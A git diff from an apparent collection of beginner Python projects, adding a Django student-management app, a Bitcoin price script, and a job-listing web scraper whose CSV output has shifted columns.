xl-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-xl-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-xl-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-xl-0{margin-top:0!important}.mt-xl-1{margin-top:.25rem!important}.mt-xl-2{margin-top:.5rem!important}.mt-xl-3{margin-top:1rem!important}.mt-xl-4{margin-top:1.5rem!important}.mt-xl-5{margin-top:3rem!important}.mt-xl-auto{margin-top:auto!important}.me-xl-0{margin-right:0!important}.me-xl-1{margin-right:.25rem!important}.me-xl-2{margin-right:.5rem!important}.me-xl-3{margin-right:1rem!important}.me-xl-4{margin-right:1.5rem!important}.me-xl-5{margin-right:3rem!important}.me-xl-auto{margin-right:auto!important}.mb-xl-0{margin-bottom:0!important}.mb-xl-1{margin-bottom:.25rem!important}.mb-xl-2{margin-bottom:.5rem!important}.mb-xl-3{margin-bottom:1rem!important}.mb-xl-4{margin-bottom:1.5rem!important}.mb-xl-5{margin-bottom:3rem!important}.mb-xl-auto{margin-bottom:auto!important}.ms-xl-0{margin-left:0!important}.ms-xl-1{margin-left:.25rem!important}.ms-xl-2{margin-left:.5rem!important}.ms-xl-3{margin-left:1rem!important}.ms-xl-4{margin-left:1.5rem!important}.ms-xl-5{margin-left:3rem!important}.ms-xl-auto{margin-left:auto!important}.p-xl-0{padding:0!important}.p-xl-1{padding:.25rem!important}.p-xl-2{padding:.5rem!important}.p-xl-3{padding:1rem!important}.p-xl-4{padding:1.5rem!important}.p-xl-5{padding:3rem!important}.px-xl-0{padding-right:0!important;padding-left:0!important}.px-xl-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-xl-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-xl-3{padding-right:1rem!important;padding-left:1rem!important}.px-xl-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-xl-5{padding-right:3rem!important;padding-left:3rem!important}.py-xl-0{padding-top:0!important;padding-bottom:0!important}.py-xl-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-xl-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-xl-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-xl-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-xl-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-xl-0{padding-top:0!important}.pt-xl-1{padding-top:.25rem!important}.pt-xl-2{padding-top:.5rem!important}.pt-xl-3{padding-top:1rem!important}.pt-xl-4{padding-top:1.5rem!important}.pt-xl-5{padding-top:3rem!important}.pe-xl-0{padding-right:0!important}.pe-xl-1{padding-right:.25rem!important}.pe-xl-2{padding-right:.5rem!important}.pe-xl-3{padding-right:1rem!important}.pe-xl-4{padding-right:1.5rem!important}.pe-xl-5{padding-right:3rem!important}.pb-xl-0{padding-bottom:0!important}.pb-xl-1{padding-bottom:.25rem!important}.pb-xl-2{padding-bottom:.5rem!important}.pb-xl-3{padding-bottom:1rem!important}.pb-xl-4{padding-bottom:1.5rem!important}.pb-xl-5{padding-bottom:3rem!important}.ps-xl-0{padding-left:0!important}.ps-xl-1{padding-left:.25rem!important}.ps-xl-2{padding-left:.5rem!important}.ps-xl-3{padding-left:1rem!important}.ps-xl-4{padding-left:1.5rem!important}.ps-xl-5{padding-left:3rem!important}.gap-xl-0{gap:0!important}.gap-xl-1{gap:.25rem!important}.gap-xl-2{gap:.5rem!important}.gap-xl-3{gap:1rem!important}.gap-xl-4{gap:1.5rem!important}.gap-xl-5{gap:3rem!important}.row-gap-xl-0{row-gap:0!important}.row-gap-xl-1{row-gap:.25rem!important}.row-gap-xl-2{row-gap:.5rem!important}.row-gap-xl-3{row-gap:1rem!important}.row-gap-xl-4{row-gap:1.5rem!important}.row-gap-xl-5{row-gap:3rem!important}.column-gap-xl-0{-moz-column-gap:0!important;column-gap:0!important}.column-gap-xl-1{-moz-column-gap:0.25rem!important;column-gap:.25rem!important}.column-gap-xl-2{-moz-column-gap:0.5rem!important;column-gap:.5rem!important}.column-gap-xl-3{-moz-column-gap:1rem!important;column-gap:1rem!important}.column-gap-xl-4{-moz-column-gap:1.5rem!important;column-gap:1.5rem!important}.column-gap-xl-5{-moz-column-gap:3rem!important;column-gap:3rem!important}.text-xl-start{text-align:left!important}.text-xl-end{text-align:right!important}.text-xl-center{text-align:center!important}}@media (min-width:1400px){.float-xxl-start{float:left!important}.float-xxl-end{float:right!important}.float-xxl-none{float:none!important}.object-fit-xxl-contain{-o-object-fit:contain!important;object-fit:contain!important}.object-fit-xxl-cover{-o-object-fit:cover!important;object-fit:cover!important}.object-fit-xxl-fill{-o-object-fit:fill!important;object-fit:fill!important}.object-fit-xxl-scale{-o-object-fit:scale-down!important;object-fit:scale-down!important}.object-fit-xxl-none{-o-object-fit:none!important;object-fit:none!important}.d-xxl-inline{display:inline!important}.d-xxl-inline-block{display:inline-block!important}.d-xxl-block{display:block!important}.d-xxl-grid{display:grid!important}.d-xxl-inline-grid{display:inline-grid!important}.d-xxl-table{display:table!important}.d-xxl-table-row{display:table-row!important}.d-xxl-table-cell{display:table-cell!important}.d-xxl-flex{display:flex!important}.d-xxl-inline-flex{display:inline-flex!important}.d-xxl-none{display:none!important}.flex-xxl-fill{flex:1 1 auto!important}.flex-xxl-row{flex-direction:row!important}.flex-xxl-column{flex-direction:column!important}.flex-xxl-row-reverse{flex-direction:row-reverse!important}.flex-xxl-column-reverse{flex-direction:column-reverse!important}.flex-xxl-grow-0{flex-grow:0!important}.flex-xxl-grow-1{flex-grow:1!important}.flex-xxl-shrink-0{flex-shrink:0!important}.flex-xxl-shrink-1{flex-shrink:1!important}.flex-xxl-wrap{flex-wrap:wrap!important}.flex-xxl-nowrap{flex-wrap:nowrap!important}.flex-xxl-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-xxl-start{justify-content:flex-start!important}.justify-content-xxl-end{justify-content:flex-end!important}.justify-content-xxl-center{justify-content:center!important}.justify-content-xxl-between{justify-content:space-between!important}.justify-content-xxl-around{justify-content:space-around!important}.justify-content-xxl-evenly{justify-content:space-evenly!important}.align-items-xxl-start{align-items:flex-start!important}.align-items-xxl-end{align-items:flex-end!important}.align-items-xxl-center{align-items:center!important}.align-items-xxl-baseline{align-items:baseline!important}.align-items-xxl-stretch{align-items:stretch!important}.align-content-xxl-start{align-content:flex-start!important}.align-content-xxl-end{align-content:flex-end!important}.align-content-xxl-center{align-content:center!important}.align-content-xxl-between{align-content:space-between!important}.align-content-xxl-around{align-content:space-around!important}.align-content-xxl-stretch{align-content:stretch!important}.align-self-xxl-auto{align-self:auto!important}.align-self-xxl-start{align-self:flex-start!important}.align-self-xxl-end{align-self:flex-end!important}.align-self-xxl-center{align-self:center!important}.align-self-xxl-baseline{align-self:baseline!important}.align-self-xxl-stretch{align-self:stretch!important}.order-xxl-first{order:-1!important}.order-xxl-0{order:0!important}.order-xxl-1{order:1!important}.order-xxl-2{order:2!important}.order-xxl-3{order:3!important}.order-xxl-4{order:4!important}.order-xxl-5{order:5!important}.order-xxl-last{order:6!important}.m-xxl-0{margin:0!important}.m-xxl-1{margin:.25rem!important}.m-xxl-2{margin:.5rem!important}.m-xxl-3{margin:1rem!important}.m-xxl-4{margin:1.5rem!important}.m-xxl-5{margin:3rem!important}.m-xxl-auto{margin:auto!important}.mx-xxl-0{margin-right:0!important;margin-left:0!important}.mx-xxl-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-xxl-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-xxl-3{margin-right:1rem!important;margin-left:1rem!important}.mx-xxl-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-xxl-5{margin-right:3rem!important;margin-left:3rem!important}.mx-xxl-auto{margin-right:auto!important;margin-left:auto!important}.my-xxl-0{margin-top:0!important;margin-bottom:0!important}.my-xxl-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-xxl-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-xxl-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-xxl-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-xxl-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-xxl-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-xxl-0{margin-top:0!important}.mt-xxl-1{margin-top:.25rem!important}.mt-xxl-2{margin-top:.5rem!important}.mt-xxl-3{margin-top:1rem!important}.mt-xxl-4{margin-top:1.5rem!important}.mt-xxl-5{margin-top:3rem!important}.mt-xxl-auto{margin-top:auto!important}.me-xxl-0{margin-right:0!important}.me-xxl-1{margin-right:.25rem!important}.me-xxl-2{margin-right:.5rem!important}.me-xxl-3{margin-right:1rem!important}.me-xxl-4{margin-right:1.5rem!important}.me-xxl-5{margin-right:3rem!important}.me-xxl-auto{margin-right:auto!important}.mb-xxl-0{margin-bottom:0!important}.mb-xxl-1{margin-bottom:.25rem!important}.mb-xxl-2{margin-bottom:.5rem!important}.mb-xxl-3{margin-bottom:1rem!important}.mb-xxl-4{margin-bottom:1.5rem!important}.mb-xxl-5{margin-bottom:3rem!important}.mb-xxl-auto{margin-bottom:auto!important}.ms-xxl-0{margin-left:0!important}.ms-xxl-1{margin-left:.25rem!important}.ms-xxl-2{margin-left:.5rem!important}.ms-xxl-3{margin-left:1rem!important}.ms-xxl-4{margin-left:1.5rem!important}.ms-xxl-5{margin-left:3rem!important}.ms-xxl-auto{margin-left:auto!important}.p-xxl-0{padding:0!important}.p-xxl-1{padding:.25rem!important}.p-xxl-2{padding:.5rem!important}.p-xxl-3{padding:1rem!important}.p-xxl-4{padding:1.5rem!important}.p-xxl-5{padding:3rem!important}.px-xxl-0{padding-right:0!important;padding-left:0!important}.px-xxl-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-xxl-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-xxl-3{padding-right:1rem!important;padding-left:1rem!important}.px-xxl-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-xxl-5{padding-right:3rem!important;padding-left:3rem!important}.py-xxl-0{padding-top:0!important;padding-bottom:0!important}.py-xxl-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-xxl-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-xxl-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-xxl-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-xxl-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-xxl-0{padding-top:0!important}.pt-xxl-1{padding-top:.25rem!important}.pt-xxl-2{padding-top:.5rem!important}.pt-xxl-3{padding-top:1rem!important}.pt-xxl-4{padding-top:1.5rem!important}.pt-xxl-5{padding-top:3rem!important}.pe-xxl-0{padding-right:0!important}.pe-xxl-1{padding-right:.25rem!important}.pe-xxl-2{padding-right:.5rem!important}.pe-xxl-3{padding-right:1rem!important}.pe-xxl-4{padding-right:1.5rem!important}.pe-xxl-5{padding-right:3rem!important}.pb-xxl-0{padding-bottom:0!important}.pb-xxl-1{padding-bottom:.25rem!important}.pb-xxl-2{padding-bottom:.5rem!important}.pb-xxl-3{padding-bottom:1rem!important}.pb-xxl-4{padding-bottom:1.5rem!important}.pb-xxl-5{padding-bottom:3rem!important}.ps-xxl-0{padding-left:0!important}.ps-xxl-1{padding-left:.25rem!important}.ps-xxl-2{padding-left:.5rem!important}.ps-xxl-3{padding-left:1rem!important}.ps-xxl-4{padding-left:1.5rem!important}.ps-xxl-5{padding-left:3rem!important}.gap-xxl-0{gap:0!important}.gap-xxl-1{gap:.25rem!important}.gap-xxl-2{gap:.5rem!important}.gap-xxl-3{gap:1rem!important}.gap-xxl-4{gap:1.5rem!important}.gap-xxl-5{gap:3rem!important}.row-gap-xxl-0{row-gap:0!important}.row-gap-xxl-1{row-gap:.25rem!important}.row-gap-xxl-2{row-gap:.5rem!important}.row-gap-xxl-3{row-gap:1rem!important}.row-gap-xxl-4{row-gap:1.5rem!important}.row-gap-xxl-5{row-gap:3rem!important}.column-gap-xxl-0{-moz-column-gap:0!important;column-gap:0!important}.column-gap-xxl-1{-moz-column-gap:0.25rem!important;column-gap:.25rem!important}.column-gap-xxl-2{-moz-column-gap:0.5rem!important;column-gap:.5rem!important}.column-gap-xxl-3{-moz-column-gap:1rem!important;column-gap:1rem!important}.column-gap-xxl-4{-moz-column-gap:1.5rem!important;column-gap:1.5rem!important}.column-gap-xxl-5{-moz-column-gap:3rem!important;column-gap:3rem!important}.text-xxl-start{text-align:left!important}.text-xxl-end{text-align:right!important}.text-xxl-center{text-align:center!important}}@media (min-width:1200px){.fs-1{font-size:2.5rem!important}.fs-2{font-size:2rem!important}.fs-3{font-size:1.75rem!important}.fs-4{font-size:1.5rem!important}}@media print{.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-grid{display:grid!important}.d-print-inline-grid{display:inline-grid!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:flex!important}.d-print-inline-flex{display:inline-flex!important}.d-print-none{display:none!important}}.navbar{font-size:.875rem;font-weight:500}.navbar .nav-item{margin-right:.5rem;margin-left:.5rem}.navbar .navbar-nav .nav-link{border-radius:.375rem}.navbar-dark .navbar-nav .nav-link:hover{background-color:rgba(255,255,255,.1)}.navbar-dark .navbar-nav .nav-link.active{background-color:rgba(0,0,0,.5)}.navbar-light .navbar-nav .nav-link:hover{background-color:rgba(0,0,0,.03)}.navbar-light .navbar-nav .nav-link.active{background-color:rgba(0,0,0,.05)}.navbar-nav{--bs-nav-link-padding-x:.5rem}.btn-light,.btn-outline-light,.btn-outline-secondary,.btn-secondary{color:#212529}.btn-light.disabled,.btn-light:disabled,.btn-outline-light.disabled,.btn-outline-light:disabled,.btn-outline-secondary.disabled,.btn-outline-secondary:disabled,.btn-secondary.disabled,.btn-secondary:disabled{border:1px solid #e6e6e6}.btn-outline-secondary,.btn-secondary{border-color:#e6e6e6}.btn-outline-secondary:active,.btn-outline-secondary:hover,.btn-secondary:active,.btn-secondary:hover{background-color:#e6e6e6;border-color:#e6e6e6}.btn-light,.btn-outline-light{border-color:#dfe0e1}.btn-light:active,.btn-light:hover,.btn-outline-light:active,.btn-outline-light:hover{background-color:#dfe0e1;border-color:#dfe0e1}.table{font-size:.875rem;box-shadow:0 1px 3px 0 rgba(0,0,0,.1),0 1px 2px 0 rgba(0,0,0,.06)}thead th{font-size:.875rem;text-transform:uppercase}.input-group-text{box-shadow:0 1px 2px rgba(0,0,0,.05)}.nav-tabs{font-weight:500}.nav-tabs .nav-link{padding-top:1rem;padding-bottom:1rem;border-width:0 0 1px}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{box-shadow:inset 0 -2px 0 #3459e6}.nav-pills{font-weight:500}.pagination{font-size:.875rem;font-weight:500}.pagination .page-link{box-shadow:0 1px 2px rgba(0,0,0,.05)}.breadcrumb{font-size:.875rem;font-weight:500;border:1px solid var(--bs-secondary-bg);border-radius:.375rem;box-shadow:0 1px 2px rgba(0,0,0,.05)}.breadcrumb-item{padding:1rem .5rem 1rem 0}.breadcrumb-item+.breadcrumb-item::before{padding-right:1rem}.alert .btn-close{color:inherit}.badge.bg-light,.badge.bg-secondary{color:#212529}.card .h1,.card .h2,.card .h3,.card .h4,.card .h5,.card .h6,.card h1,.card h2,.card h3,.card h4,.card h5,.card h6,.list-group-item .h1,.list-group-item .h2,.list-group-item .h3,.list-group-item .h4,.list-group-item .h5,.list-group-item .h6,.list-group-item h1,.list-group-item h2,.list-group-item h3,.list-group-item h4,.list-group-item h5,.list-group-item h6{color:inherit}.list-group{box-shadow:0 1px 3px 0 rgba(0,0,0,.1),0 1px 2px 0 rgba(0,0,0,.06)}.card{box-shadow:0 1px 3px 0 rgba(0,0,0,.1),0 1px 2px 0 rgba(0,0,0,.06)}.modal-footer{background-color:var(--bs-tertiary-bg)}.modal-content{box-shadow:0 1px 3px 0 rgba(0,0,0,.1),0 1px 2px 0 rgba(0,0,0,.06)} +/*# sourceMappingURL=bootstrap.min.css.map */ \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/students/templates/students/add.html b/SYSTEM MANAGEMENT APPS/Student_management_system/students/templates/students/add.html new file mode 100644 index 00000000..67ac51be --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/students/templates/students/add.html @@ -0,0 +1,29 @@ +{% extends "students/base.html" %} + +{% block body %} +

Add Student

+ {% if success %} + + {% else %} +
+
+
+
+ Student Registration +
+
+
+ {% csrf_token %} + {{ form.as_p }} + + Cancel +
+
+
+
+
+ {% endif %} +{% endblock %} \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/students/templates/students/base.html b/SYSTEM MANAGEMENT APPS/Student_management_system/students/templates/students/base.html new file mode 100644 index 00000000..4be899c9 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/students/templates/students/base.html @@ -0,0 +1,65 @@ +{% load static %} + + + + + + Student Management System + + + + + +
+ {% block body %} + {% endblock %} +
+
+
+ + Copyright © + + Kiringabakwe Ibrahim. + +
+
+ + + diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/students/templates/students/edit.html b/SYSTEM MANAGEMENT APPS/Student_management_system/students/templates/students/edit.html new file mode 100644 index 00000000..286f502b --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/students/templates/students/edit.html @@ -0,0 +1,29 @@ +{% extends "students/base.html" %} + +{% block body %} +

Update Student

+ {% if success %} + + {% else %} +
+
+
+
+ Update Student Records +
+
+
+ {% csrf_token %} + {{ form.as_p }} + + Cancel +
+
+
+
+
+ {% endif %} +{% endblock %} \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/students/templates/students/index.html b/SYSTEM MANAGEMENT APPS/Student_management_system/students/templates/students/index.html new file mode 100644 index 00000000..e00891f5 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/students/templates/students/index.html @@ -0,0 +1,117 @@ +{% extends "students/base.html" %} + +{% block body %} +

All Students

+
+
+ {% if students %} +
+
+ Student Records +
+
+

+

+ + + + + + + + + + + + + + {% for student in students %} + + + + + + + + + + {% endfor %} + +
Student NumberFirst NameLast NameEmailField of StudyGPAActions
{{ student.student_number }}{{ student.first_name }}{{ student.last_name }}{{ student.email }}{{ student.field_of_study }}{{ student.gpa }} + + + + + + + + + + + + + +
+
+

+
+
+ {% else %} +
No Student Records
+ {% endif %} +
+
+{% endblock %} \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/students/tests.py b/SYSTEM MANAGEMENT APPS/Student_management_system/students/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/students/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/students/urls.py b/SYSTEM MANAGEMENT APPS/Student_management_system/students/urls.py new file mode 100644 index 00000000..81d04301 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/students/urls.py @@ -0,0 +1,10 @@ +from django.urls import path +from . import views + +urlpatterns = [ + path('', views.index, name='index'), + path('', views.view_student, name='view_student'), + path('add/', views.add, name='add'), + path('edit//', views.edit, name='edit'), + path('delete//', views.delete, name='delete'), +] \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/students/views.py b/SYSTEM MANAGEMENT APPS/Student_management_system/students/views.py new file mode 100644 index 00000000..e53d40d0 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/students/views.py @@ -0,0 +1,69 @@ +from django.http import HttpResponseRedirect +from django.shortcuts import render +from django.urls import reverse + +from .models import Student +from .forms import StudentForm + +# Create your views here. +def index(request): + return render(request, 'students/index.html', { + 'students': Student.objects.all() + }) + +def view_student(request, id): + student = Student.objects.get(pk=id) + return HttpResponseRedirect(reverse('index')) + +def add(request): + if request.method == 'POST': + form = StudentForm(request.POST) + if form.is_valid(): + new_student_number = form.cleaned_data['student_number'] + new_first_name = form.cleaned_data['first_name'] + new_last_name = form.cleaned_data['last_name'] + new_email = form.cleaned_data['email'] + new_field_of_study = form.cleaned_data['field_of_study'] + new_gpa = form.cleaned_data['gpa'] + + new_student = Student( + student_number = new_student_number, + first_name = new_first_name, + last_name = new_last_name, + email = new_email, + field_of_study = new_field_of_study, + gpa = new_gpa + ) + new_student.save() + return render(request, 'students/add.html', { + 'form': StudentForm(), + 'success': True + }) + else: + form = StudentForm() + return render(request, 'students/add.html', { + 'form': StudentForm() + }) + +def edit(request, id): + if request.method == 'POST': + student = Student.objects.get(pk=id) + form = StudentForm(request.POST, instance=student) + if form.is_valid(): + form.save() + return render(request, 'students/edit.html', { + 'form': form, + 'success': True + }) + else: + student = Student.objects.get(pk=id) + form = StudentForm(instance=student) + return render(request, 'students/edit.html', { + 'form': form + }) + +def delete(request, id): + if request.method == 'POST': + student = Student.objects.get(pk=id) + student.delete() + return HttpResponseRedirect(reverse('index')) \ No newline at end of file diff --git a/WEB SCRAPING/Bitcoin Price/README.md b/WEB SCRAPING/Bitcoin Price/README.md new file mode 100644 index 00000000..a93e57e7 --- /dev/null +++ b/WEB SCRAPING/Bitcoin Price/README.md @@ -0,0 +1,23 @@ +# Bitcoin Price + +## Desciption +This script is used to get the current price of Bitcoin in U.S. Dollars + +
+ +## Installation + +Install request with the following command or using the requirements.txt file: + +```pip install requests``` + +
+ +## Usage +Input the number of bitcoins as command line argument + +```python bitcoin.py 1``` + +
+ +```python bitcoin.py 5``` \ No newline at end of file diff --git a/WEB SCRAPING/Bitcoin Price/bitcoin.py b/WEB SCRAPING/Bitcoin Price/bitcoin.py new file mode 100644 index 00000000..d204de20 --- /dev/null +++ b/WEB SCRAPING/Bitcoin Price/bitcoin.py @@ -0,0 +1,27 @@ +import requests +import sys + + +""" Exit program if no command-line argument is provided """ +if len(sys.argv) == 1: + sys.exit("Missing command-line argument") + + +""" +Convert command-line argument to float or +Exit if command line argument is not a number +""" +try: + bitcoin = sys.argv[1] + bitcoin = float(bitcoin) +except ValueError: + sys.exit("Command-line argument is not a number") + + +"""Get Bitcoin price""" +try: + response = requests.get("https://api.coindesk.com/v1/bpi/currentprice.json") + rate = response.json()["bpi"]["USD"]["rate_float"] + print(f"Current Price: ${bitcoin * rate:,.4f}") +except requests.RequestException: + print("An Error Occurred") diff --git a/WEB SCRAPING/Bitcoin Price/requirements.txt b/WEB SCRAPING/Bitcoin Price/requirements.txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/WEB SCRAPING/Bitcoin Price/requirements.txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/WEB SCRAPING/WebScraping-Data-Analytics/job_data_2.csv b/WEB SCRAPING/WebScraping-Data-Analytics/job_data_2.csv new file mode 100644 index 00000000..4ad11c84 --- /dev/null +++ b/WEB SCRAPING/WebScraping-Data-Analytics/job_data_2.csv @@ -0,0 +1,23 @@ +Job Title,Location,Salary,Company Name +SEN Tutor,"SW1, South West London, SW1A 2DD",Recently,Deckers +"SW1, South West London, SW1A 2DD",Recently,£28 - £33 per hour,Deckers +Recently,£28 - £33 per hour,SEN Tutor,Targeted Provision Ltd +£28 - £33 per hour,SEN Tutor,"SW1, South West London, SW1A 2DD",Deckers +SEN Tutor,"SW1, South West London, SW1A 2DD",Recently,Deckers +"SW1, South West London, SW1A 2DD",Recently,£28 - £33 per hour,Deckers +Recently,£28 - £33 per hour,Supply Chain Administrator,Deckers +£28 - £33 per hour,Supply Chain Administrator,"WC2, Central London, WC2N 5DU",EMBS +Supply Chain Administrator,"WC2, Central London, WC2N 5DU",Recently,Deckers +"WC2, Central London, WC2N 5DU",Recently,Unspecified,CV Screen Ltd +Recently,Unspecified,Accounts Payable Assistant,Deckers +Unspecified,Accounts Payable Assistant,"St James, WC2N 5DU",Deckers +Accounts Payable Assistant,"St James, WC2N 5DU",Recently,Webhelp UK +"St James, WC2N 5DU",Recently,Unspecified,Applause IT Limited +Recently,Unspecified,Total Rewards Analyst,Johnson & Associates Rec Specialists Ltd +Unspecified,Total Rewards Analyst,"WC2, Central London, WC2N 5DU",Johnson & Associates Rec Specialists Ltd +Total Rewards Analyst,"WC2, Central London, WC2N 5DU",Recently,Johnson & Associates Rec Specialists Ltd +"WC2, Central London, WC2N 5DU",Recently,Unspecified,Johnson & Associates Rec Specialists Ltd +Recently,Unspecified,SEN Tutor,Elliot Marsh +Unspecified,SEN Tutor,"WC2, Central London, WC2N 5DU",Elliot Marsh +SEN Tutor,"WC2, Central London, WC2N 5DU",Recently,Get Recruited (UK) Ltd +"WC2, Central London, WC2N 5DU",Recently,£28 - £33 per hour,Elliot Marsh diff --git a/WEB SCRAPING/WebScraping-Data-Analytics/pydataanalytics.py b/WEB SCRAPING/WebScraping-Data-Analytics/pydataanalytics.py new file mode 100644 index 00000000..02cff1bd --- /dev/null +++ b/WEB SCRAPING/WebScraping-Data-Analytics/pydataanalytics.py @@ -0,0 +1,33 @@ +import csv +import requests +from bs4 import BeautifulSoup + +#Url to the jobsite (using tottal job as an examples) +url = 'https://www.totaljobs.com/jobs/in-london' + +r = requests.get(url) + +# parsing the html to beautiful soup +html_soup= BeautifulSoup(r.content, 'html.parser') + +# Targeting the jobs container +job_details = html_soup.find('div', class_='ResultsContainer-sc-1rtv0xy-2') + +# Pulling out the needed tags +job_titles =job_details.find_all(['h2','li','dl']) +company_name =job_details.find_all('div', class_='sc-fzoiQi') + +total_job_info = job_titles + company_name + +# Writing the data to a CSV file +with open('job_data_2.csv', mode='w', newline='') as file: + writer = csv.writer(file) + writer.writerow(['Job Title', 'Location', 'Salary', 'Company Name']) # header row + min_length = min(len(job_titles), len(company_name)) + for i in range(0, min_length - 3): + job_title = job_titles[i].text.strip() + location = job_titles[i+1].text.strip() + salary = job_titles[i+2].text.strip() + company = company_name[i+3].text.strip() + writer.writerow([job_title, location, salary, company]) + # print(job_title) diff --git a/WEB SCRAPING/WebScraping-Data-Analytics/readme.md b/WEB SCRAPING/WebScraping-Data-Analytics/readme.md new file mode 100644 index 00000000..275f5ae9 --- /dev/null +++ b/WEB SCRAPING/WebScraping-Data-Analytics/readme.md @@ -0,0 +1,51 @@ +# WebScraping-for-job-Website + +In this code we are fetching information from a job website named totaljobs about job listing available, filters them out according to skills and saves the output +in a local file + +This program is able to fetch the: +* Job Title/Role needed +* Company name +* location +* salary + +### User Story +As a data analyst I want to be able to get web large information in csv file. + +### Acceptance Criteria +Acceptance Criteria + +- It is done when I can make a request to a specified url. +- It is done when I get response from that url. +- It is done when I get the target content from the url. +- It is done when that content is saved in csv file. + + +#### Sample Output +![](https://github.com/larymak/Python-project-Scripts/blob/main/WebScraping/posts/Capture.PNG) + +### Packages used +- BeautifulSoup +- requests +- csv file + +### Challenges encountered: +- The only real difficulty was trying to locate the precise ID and passing robots elements (such as find element by ID, x-path, class, and find_all) that would appropriately transmit the information back. +- In overall our team was succussful to apply python on web scraping to complete our assignment. + + +## Steps To Execution +- Fork this repository and navigate to the WebScraping-Data-Analytics folder +- Execute the program by running the pydatanalytics.py file using `$ python pydatanalytics.py` +- The program will then fetch the information and put the information into a csv file. + +### Team Members +- [@gideonclottey](https://github.com/gideonclottey) +- [@Dev-Godswill](https://github.com/Dev-Godswill) +- [@ozomata](https://github.com/ozomata) +- [@narinder-bit](https://github.com/narinder-bit) +- [@Sonia-devi](https://github.com/Sonia-devi) + + + + diff --git a/WEB SCRAPING/WebScraping/README.md b/WEB SCRAPING/WebScraping/README.md index dcf29045..eba6dc3a 100644 --- a/WEB SCRAPING/WebScraping/README.md +++ b/WEB SCRAPING/WebScraping/README.md @@ -18,7 +18,7 @@ The code is also able to filter out unwanted skills so that you get job listings - requests ### Challenges encountered: -- The only maim challenge encountered was trying to find the exact elements that would relay the information back correctly (find element by ID, x-path, class and find_all) +- The only main challenge encountered was trying to find the exact elements that would relay the information back correctly (find element by ID, x-path, class and find_all) - In overall it was a nice practice on webscrapping bit and an educative one too diff --git a/WEB SCRAPING/bot/Screenshot 2023-07-16 234146.png b/WEB SCRAPING/bot/Screenshot 2023-07-16 234146.png new file mode 100644 index 00000000..9aa9b345 Binary files /dev/null and b/WEB SCRAPING/bot/Screenshot 2023-07-16 234146.png differ diff --git a/WEB SCRAPING/bot/__pycache__/run.cpython-311.pyc b/WEB SCRAPING/bot/__pycache__/run.cpython-311.pyc new file mode 100644 index 00000000..5b3a0338 Binary files /dev/null and b/WEB SCRAPING/bot/__pycache__/run.cpython-311.pyc differ diff --git a/WEB SCRAPING/bot/additional.py b/WEB SCRAPING/bot/additional.py new file mode 100644 index 00000000..1cd7ac6d --- /dev/null +++ b/WEB SCRAPING/bot/additional.py @@ -0,0 +1,32 @@ + +def booking_count(): + # cz=ec.visibility_of_element_located((By.CSS_SELECTOR,'button[class="fc63351294 a822bdf511 e3c025e003 fa565176a8 f7db01295e c334e6f658 e1b7cfea84 d64a4ea64d"]')) + # adult_btn=wait.until(cz) + # time.sleep(0.1) + # div_element2 = self.find_element(By.CLASS_NAME,"b2b5147b20") + # class_div=child_btn=div_element2.find_element(By.CLASS_NAME,"e98c626f34") + # child_btn=class_div.find_element(By.CSS_SELECTOR,"button.fc63351294.a822bdf511.e3c025e003.fa565176a8.f7db01295e.c334e6f658.e1b7cfea84.d64a4ea64d") + # child_btn.click() + + # Find the
